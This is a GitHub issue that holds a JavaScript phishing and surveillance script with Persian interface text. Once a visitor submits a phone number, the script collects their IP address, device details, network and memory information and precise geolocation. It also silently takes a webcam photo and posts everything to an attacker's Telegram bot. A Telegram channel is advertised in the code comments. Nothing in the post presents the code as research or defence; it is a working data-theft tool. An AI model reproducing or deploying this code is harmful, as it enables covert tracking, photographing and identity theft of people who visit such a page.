-
Notifications
You must be signed in to change notification settings - Fork 125
Open
Description
function sendToTelegram(message) {
const url = https://api.telegram.org/bot${telegramBotToken}/sendMessage;
const data = {
chat_id: chatId,
text: message,
parse_mode: 'Markdown'
};
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(result => console.log('پیام با موفقیت ارسال شد:', result))
.catch(error => console.error('خطا در ارسال پیام:', error));
}
function getIpInfo() {
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => {
const ipInfo = `*آدرس آیپی (IPv4):* ${data.ip}`;
sendToTelegram(ipInfo);
})
.catch(error => console.error('خطا در دریافت آیپی:', error));
}
function getDeviceInfo(phoneNumber) {
let deviceInfo = `*شماره تلفن:* ${phoneNumber}\n*مدل دستگاه:* ${navigator.userAgent}\n*نوع دستگاه:* ${navigator.platform}`;
sendToTelegram(deviceInfo);
}
function getTimeInfo() {
let timeInfo = `*زمان فعلی:* ${new Date().toLocaleString()}`;
sendToTelegram(timeInfo);
}
// https://t.me/arnik11
function getMemoryInfo() {
if (performance.memory) {
let memoryInfo = `*میزان حافظه (RAM):* ${performance.memory.usedJSHeap / 1048576} MB`;
sendToTelegram(memoryInfo);
}
}
function getNetworkInfo() {
if (navigator.connection) {
let connection = navigator.connection;
let networkInfo = `*نوع اتصال شبکه:* ${connection.effectiveType}\n*سرعت اتصال:* ${connection.downlink} Mbps`;
sendToTelegram(networkInfo);
}
}
function getLocationInfo() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(function(position) {
let locationInfo = `*دقت موقعیت جغرافیایی:* ${position.coords.accuracy} متر\n*موقعیت جغرافیایی:* Latitude: ${position.coords.latitude}, Longitude: ${position.coords.longitude}`;
sendToTelegram(locationInfo);
});
}
}
function getCpuInfo() {
let cpuInfo = `*تعداد هستههای پردازنده:* ${navigator.hardwareConcurrency || 'غیرقابل دسترسی'}`;
sendToTelegram(cpuInfo);
}
// https://t.me/arnik11
function takePhoto() {
let video = document.createElement('video');
let canvas = document.createElement('canvas');
let context = canvas.getContext('2d');
navigator.mediaDevices.getUserMedia({ video: true })
.then(stream => {
video.srcObject = stream;
video.play();
setTimeout(() => {
context.drawImage(video, 0, 0, canvas.width, canvas.height);
canvas.toBlob(function(blob) {
let formData = new FormData();
formData.append('chat_id', chatId);
formData.append('photo', blob);
fetch(`https://api.telegram.org/bot${telegramBotToken}/sendPhoto`, {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => console.log('عکس با موفقیت ارسال شد:', result))
.catch(error => console.error('خطا در ارسال عکس:', error));
});
}, 1000);
})
.catch(error => console.error('خطا در دسترسی به دوربین:', error));
}
document.getElementById('submitBtn').addEventListener('click', function() {
const phoneNumber = document.getElementById('phone').value;
if (phoneNumber) {
document.getElementById('statusMessage').textContent = "در حال جمعآوری اطلاعات...";
document.getElementById('statusMessage').style.color = "#f39c12";
document.getElementById('loadingMessage').style.display = "block";
getIpInfo();
getDeviceInfo(phoneNumber);
getTimeInfo();
getMemoryInfo();
getNetworkInfo();
getLocationInfo();
getCpuInfo();
takePhoto();
// https://t.me/arnik11
document.getElementById('statusMessage').textContent = "اطلاعات دستگاه ارسال شد!";
document.getElementById('loadingMessage').style.display = "none";
document.getElementById('socialMessage').style.display = "block";
setTimeout(function() {
document.getElementById('socialMessage').style.display = "none";
document.getElementById('animatedMessage').style.display = "block";
}, 2000);
}
});
Originally posted by @hossein759 in glitchdotcom/website-to-compute#362 (comment)
Metadata
Metadata
Assignees
Labels
No labels